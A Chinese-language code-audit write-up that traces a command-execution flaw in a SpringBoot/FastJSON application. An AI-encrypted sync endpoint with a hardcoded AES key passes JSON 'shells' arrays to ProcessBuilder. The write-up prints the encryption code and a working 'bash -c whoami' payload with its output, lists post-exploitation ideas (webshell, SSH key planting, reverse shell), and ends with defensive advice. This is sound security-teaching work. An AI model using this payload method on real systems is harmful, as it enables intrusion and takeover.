记一次实战快速的代码审计
字数 1963 2025-08-24 07:48:22

实战快速代码审计教学文档

1. 审计背景与环境分析

本次审计目标为一个采用较新技术的系统,主要架构组成:

  • SpringBoot + MyBatis 框架
  • FastJSON 组件(较新版本)
  • 包含公式计算和数据分析功能
  • 使用了 Scala 语言(部分功能)

2. 审计切入点分析

2.1 公式计算功能审计

发现关键接口:FlowScriptCompiler.getClass(className)

攻击路径分析:

  1. 需要先上传脚本规则文件
  2. 进行编译
  3. 执行(execute)

虽然尝试新增规则脚本返回成功,但执行失败,需要真实环境调试验证。

2.2 命令执行漏洞审计

通过全局搜索发现关键类:ProcessBuilder

2.2.1 漏洞点分析

发现三处使用execute方法的地方:

  1. /src/main/java/com/xxrule/flowrule/arch/EnvChecker.java#_check

    • codeStr参数不可控
  2. /src/main/java/com/xxrule/flowrule/utils/ProcessUtil.java#main

    • 测试方法,参数不可控
  3. /src/main/java/com/xxrule/data/service/impl/DepotSynchroServiceImpl.java

    • sync方法接受DepotSynchroDto对象
    • 使用DataStrUtil.deCryptAndDecode解密数据
    • 解密流程:
      • Base64解码
      • AES解密
      • 使用FastJSON转为JSONObject
      • 检查是否存在sh
      • 解析sh对象下的shells数组
      • 使用ProcessUtil.execute(sh, charset)执行shell

2.2.2 调用链分析

发现两处Controller接口调用sync方法:

  1. /src/main/java/com/xxxrule/data/controller/DepotSynchroContorller.java#sync
  2. /src/main/java/com/xxxrule/flowrule/controller/RuleSceneController.java#params

其中sync接口条件判断较少,更适合直接构造攻击请求。

3. 漏洞利用分析

3.1 加密解密流程

系统使用双重加密:

  1. Base64编码
  2. AES加密(密钥为mysecuritykey

加密/解密关键代码:

public static byte[] enCryptAndEncode(String content) throws Exception {
    String strKey = "mysecuritykey";
    KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
    SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
    random.setSeed(strKey.getBytes());
    keyGenerator.init(128, random);
    SecretKey desKey = keyGenerator.generateKey();
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(Cipher.ENCRYPT_MODE, desKey);
    return cipher.doFinal(content.getBytes("UTF-8"));
}

public static String deCryptAndDecode(byte[] src) throws Exception {
    String strKey = "mysecuritykey";
    KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
    SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
    random.setSeed(strKey.getBytes());
    keyGenerator.init(128, random);
    SecretKey desKey = keyGenerator.generateKey();
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(Cipher.DECRYPT_MODE, desKey);
    byte[] cByte = cipher.doFinal(src);
    return new String(cByte, "UTF-8");
}

3.2 攻击Payload构造

构造执行whoami命令的Payload示例:

byte[] sourceBytes = enCryptAndEncode("{\n" +
    "    \"sh\": {\n" +
    "        \"shells\": [\n" +
    "            \"bash\",\n" +
    "            \"-c\",\n" +
    "            \"whoami\"\n" +
    "        ]\n" +
    "    },\n" +
    "    \"charset\": \"utf-8\"\n" +
    "}");
System.out.println(Base64.encodeBase64String(sourceBytes));

生成的加密数据:
ZOxX3QMOwuTSJlkTz5LWdF3Yb0ZFvIXFVb/Iqr5Eu9ysyYwlD/DokMU8g09jfQL0KsPIxO3HlF9SiOSTaVyCPsmIq7eJ7YGOTj9kvYnjFz235gn1jBu7WdC5Tb4wtrsNAXTzc1nZZv1xh0sTGlQgcg==

3.3 攻击效果验证

发送构造的Payload后,返回加密结果示例:
lBBVygQE6Te6euV1IGk/5WLTeEY4WW3o7LGCpYlGO8o=

解密后得到命令执行结果:
root

4. 后续利用思路

  1. 内存马注入:利用SpringBoot特性注入内存Webshell
  2. SSH密钥写入:向~/.ssh/authorized_keys写入攻击者公钥
  3. 反弹Shell:构造反弹Shell命令建立持久连接
  4. 权限提升:利用获取的root权限进行横向移动

5. 审计经验总结

  1. 快速定位关键点

    • 全局搜索危险函数(如ProcessBuilderRuntime.exec等)
    • 关注数据处理流程(加密/解密、序列化/反序列化)
    • 分析参数传递链,寻找可控输入点
  2. 行业特性关注

    • 数据分析类系统常使用Spark、Scala、R等框架
    • 公式计算功能常存在脚本注入风险
    • 注意数据处理流程中的安全边界
  3. 自动化工具辅助

    • 使用代码审计工具快速定位危险函数
    • 结合手动分析验证漏洞可行性
    • 建立常见漏洞模式库提高审计效率
  4. 时间管理

    • 优先审计高风险功能点
    • 快速验证可行性,不纠结于复杂但不可利用的点
    • 保持耐心,不放过每个可能的sink点

6. 防御建议

  1. 输入验证

    • 严格校验传入的命令参数
    • 使用白名单限制可执行命令
  2. 加密安全

    • 避免使用固定加密密钥
    • 采用更安全的密钥管理方案
  3. 权限控制

    • 应用程序不应以root权限运行
    • 实施最小权限原则
  4. 安全开发

    • 避免直接执行用户可控的命令
    • 使用安全的API替代命令执行
    • 定期进行代码安全审计
  5. 日志监控

    • 记录所有命令执行操作
    • 设置异常命令执行告警
实战快速代码审计教学文档 1. 审计背景与环境分析 本次审计目标为一个采用较新技术的系统,主要架构组成: SpringBoot + MyBatis 框架 FastJSON 组件(较新版本) 包含公式计算和数据分析功能 使用了 Scala 语言(部分功能) 2. 审计切入点分析 2.1 公式计算功能审计 发现关键接口: FlowScriptCompiler.getClass(className) 攻击路径分析: 需要先上传脚本规则文件 进行编译 执行(execute) 虽然尝试新增规则脚本返回成功,但执行失败,需要真实环境调试验证。 2.2 命令执行漏洞审计 通过全局搜索发现关键类: ProcessBuilder 2.2.1 漏洞点分析 发现三处使用 execute 方法的地方: /src/main/java/com/xxrule/flowrule/arch/EnvChecker.java#_check codeStr 参数不可控 /src/main/java/com/xxrule/flowrule/utils/ProcessUtil.java#main 测试方法,参数不可控 /src/main/java/com/xxrule/data/service/impl/DepotSynchroServiceImpl.java sync 方法接受 DepotSynchroDto 对象 使用 DataStrUtil.deCryptAndDecode 解密数据 解密流程: Base64解码 AES解密 使用FastJSON转为JSONObject 检查是否存在 sh 键 解析 sh 对象下的 shells 数组 使用 ProcessUtil.execute(sh, charset) 执行shell 2.2.2 调用链分析 发现两处Controller接口调用 sync 方法: /src/main/java/com/xxxrule/data/controller/DepotSynchroContorller.java#sync /src/main/java/com/xxxrule/flowrule/controller/RuleSceneController.java#params 其中 sync 接口条件判断较少,更适合直接构造攻击请求。 3. 漏洞利用分析 3.1 加密解密流程 系统使用双重加密: Base64编码 AES加密(密钥为 mysecuritykey ) 加密/解密关键代码: 3.2 攻击Payload构造 构造执行 whoami 命令的Payload示例: 生成的加密数据: ZOxX3QMOwuTSJlkTz5LWdF3Yb0ZFvIXFVb/Iqr5Eu9ysyYwlD/DokMU8g09jfQL0KsPIxO3HlF9SiOSTaVyCPsmIq7eJ7YGOTj9kvYnjFz235gn1jBu7WdC5Tb4wtrsNAXTzc1nZZv1xh0sTGlQgcg== 3.3 攻击效果验证 发送构造的Payload后,返回加密结果示例: lBBVygQE6Te6euV1IGk/5WLTeEY4WW3o7LGCpYlGO8o= 解密后得到命令执行结果: root 4. 后续利用思路 内存马注入 :利用SpringBoot特性注入内存Webshell SSH密钥写入 :向 ~/.ssh/authorized_keys 写入攻击者公钥 反弹Shell :构造反弹Shell命令建立持久连接 权限提升 :利用获取的root权限进行横向移动 5. 审计经验总结 快速定位关键点 : 全局搜索危险函数(如 ProcessBuilder 、 Runtime.exec 等) 关注数据处理流程(加密/解密、序列化/反序列化) 分析参数传递链,寻找可控输入点 行业特性关注 : 数据分析类系统常使用Spark、Scala、R等框架 公式计算功能常存在脚本注入风险 注意数据处理流程中的安全边界 自动化工具辅助 : 使用代码审计工具快速定位危险函数 结合手动分析验证漏洞可行性 建立常见漏洞模式库提高审计效率 时间管理 : 优先审计高风险功能点 快速验证可行性,不纠结于复杂但不可利用的点 保持耐心,不放过每个可能的sink点 6. 防御建议 输入验证 : 严格校验传入的命令参数 使用白名单限制可执行命令 加密安全 : 避免使用固定加密密钥 采用更安全的密钥管理方案 权限控制 : 应用程序不应以root权限运行 实施最小权限原则 安全开发 : 避免直接执行用户可控的命令 使用安全的API替代命令执行 定期进行代码安全审计 日志监控 : 记录所有命令执行操作 设置异常命令执行告警